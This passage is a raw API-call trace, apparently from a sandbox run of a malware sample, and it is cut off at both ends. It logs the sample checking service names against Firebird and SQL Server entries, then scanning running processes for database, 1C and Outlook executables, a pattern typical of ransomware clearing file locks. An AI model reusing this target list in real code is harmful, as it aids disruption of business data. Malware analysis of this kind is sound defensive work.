lpString2="EventSystem") returned 1 [0083.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0083.223] lstrlenW (lpString="FontCache") returned 9 [0083.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0083.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0083.223] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0083.223] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0083.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0083.223] lstrlenW (lpString="gpsvc") returned 5 [0083.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0083.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0083.224] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0083.224] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0083.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0083.224] lstrlenW (lpString="iphlpsvc") returned 8 [0083.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0083.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0083.224] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0083.224] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0083.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0083.224] lstrlenW (lpString="LanmanServer") returned 12 [0083.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0083.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0083.225] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0083.225] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0083.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0083.225] lstrlenW (lpString="LanmanWorkstation") returned 17 [0083.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0083.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0083.225] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0083.225] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0083.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0083.225] lstrlenW (lpString="lmhosts") returned 7 [0083.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0083.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0083.225] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0083.225] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0083.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0083.226] lstrlenW (lpString="MMCSS") returned 5 [0083.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0083.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0083.226] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0083.226] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0083.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0083.226] lstrlenW (lpString="MpsSvc") returned 6 [0083.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0083.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0083.226] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0083.226] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0083.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0083.226] lstrlenW (lpString="Netman") returned 6 [0083.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0083.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0083.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0083.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0083.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0083.227] lstrlenW (lpString="netprofm") returned 8 [0083.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0083.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0083.227] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0083.227] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0083.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0083.227] lstrlenW (lpString="NlaSvc") returned 6 [0083.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0083.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0083.227] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0083.227] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0083.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0083.228] lstrlenW (lpString="nsi") returned 3 [0083.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0083.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0083.228] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0083.228] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0083.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0083.228] lstrlenW (lpString="PcaSvc") returned 6 [0083.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0083.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0083.229] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0083.229] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0083.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0083.230] lstrlenW (lpString="PlugPlay") returned 8 [0083.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0083.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0083.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0083.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0083.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0083.230] lstrlenW (lpString="Power") returned 5 [0083.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0083.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0083.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0083.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0083.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0083.230] lstrlenW (lpString="ProfSvc") returned 7 [0083.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0083.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0083.231] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0083.231] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0083.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0083.231] lstrlenW (lpString="RpcEptMapper") returned 12 [0083.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0083.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0083.231] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0083.231] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0083.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0083.231] lstrlenW (lpString="RpcSs") returned 5 [0083.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0083.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0083.231] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0083.231] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0083.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0083.232] lstrlenW (lpString="SamSs") returned 5 [0083.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0083.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0083.232] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0083.232] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0083.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0083.232] lstrlenW (lpString="Schedule") returned 8 [0083.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0083.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0083.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0083.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0083.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0083.232] lstrlenW (lpString="SENS") returned 4 [0083.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0083.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0083.233] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0083.233] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0083.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0083.233] lstrlenW (lpString="ShellHWDetection") returned 16 [0083.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0083.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0083.233] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0083.233] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0083.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0083.233] lstrlenW (lpString="Spooler") returned 7 [0083.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0083.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0083.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0083.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0083.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0083.234] lstrlenW (lpString="sppsvc") returned 6 [0083.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0083.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0083.234] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0083.234] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0083.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0083.234] lstrlenW (lpString="SysMain") returned 7 [0083.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0083.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0083.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0083.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0083.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0083.234] lstrlenW (lpString="Themes") returned 6 [0083.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0083.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0083.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0083.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0083.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0083.235] lstrlenW (lpString="TrkWks") returned 6 [0083.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0083.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0083.235] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0083.235] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0083.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0083.235] lstrlenW (lpString="UxSms") returned 5 [0083.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0083.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0083.236] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0083.236] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0083.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0083.236] lstrlenW (lpString="VSS") returned 3 [0083.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0083.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0083.236] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0083.236] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0083.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0083.236] lstrlenW (lpString="WdiServiceHost") returned 14 [0083.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0083.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0083.236] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0083.236] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0083.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0083.237] lstrlenW (lpString="WdiSystemHost") returned 13 [0083.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0083.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0083.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0083.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0083.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0083.237] lstrlenW (lpString="WinDefend") returned 9 [0083.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0083.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0083.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0083.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0083.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0083.237] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0083.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0083.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0083.238] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0083.238] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0083.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0083.238] lstrlenW (lpString="Winmgmt") returned 7 [0083.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0083.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0083.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0083.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0083.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0083.238] lstrlenW (lpString="wscsvc") returned 6 [0083.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0083.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0083.238] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0083.238] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0083.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0083.238] lstrlenW (lpString="wuauserv") returned 8 [0083.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0083.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0083.239] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0083.239] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0083.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0083.239] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36ee798 | out: hHeap=0x4c0000) returned 1 [0083.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0083.708] Process32FirstW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0083.716] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0083.718] lstrlenW (lpString="System") returned 6 [0083.718] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0083.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0083.718] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0083.718] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0083.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0083.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0083.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0083.719] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0083.720] lstrlenW (lpString="smss.exe") returned 8 [0083.720] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0083.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0083.720] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.721] lstrlenW (lpString="csrss.exe") returned 9 [0083.722] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0083.723] lstrlenW (lpString="wininit.exe") returned 11 [0083.723] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.724] lstrlenW (lpString="csrss.exe") returned 9 [0083.724] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0083.726] lstrlenW (lpString="winlogon.exe") returned 12 [0083.726] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0083.727] lstrlenW (lpString="services.exe") returned 12 [0083.727] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0083.729] lstrlenW (lpString="lsass.exe") returned 9 [0083.729] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0083.731] lstrlenW (lpString="lsm.exe") returned 7 [0083.731] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.733] lstrlenW (lpString="svchost.exe") returned 11 [0083.733] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.734] lstrlenW (lpString="svchost.exe") returned 11 [0083.734] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.736] lstrlenW (lpString="svchost.exe") returned 11 [0083.736] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.737] lstrlenW (lpString="svchost.exe") returned 11 [0083.737] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.739] lstrlenW (lpString="svchost.exe") returned 11 [0083.739] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0083.741] lstrlenW (lpString="audiodg.exe") returned 11 [0083.742] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.743] lstrlenW (lpString="svchost.exe") returned 11 [0083.743] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.944] lstrlenW (lpString="svchost.exe") returned 11 [0083.944] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0083.945] lstrlenW (lpString="dwm.exe") returned 7 [0083.946] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0083.956] lstrlenW (lpString="explorer.exe") returned 12 [0083.956] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0083.957] lstrlenW (lpString="spoolsv.exe") returned 11 [0083.957] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.959] lstrlenW (lpString="taskhost.exe") returned 12 [0083.959] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.960] lstrlenW (lpString="svchost.exe") returned 11 [0083.960] Process32NextW (in: hSnapshot=0x200, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, 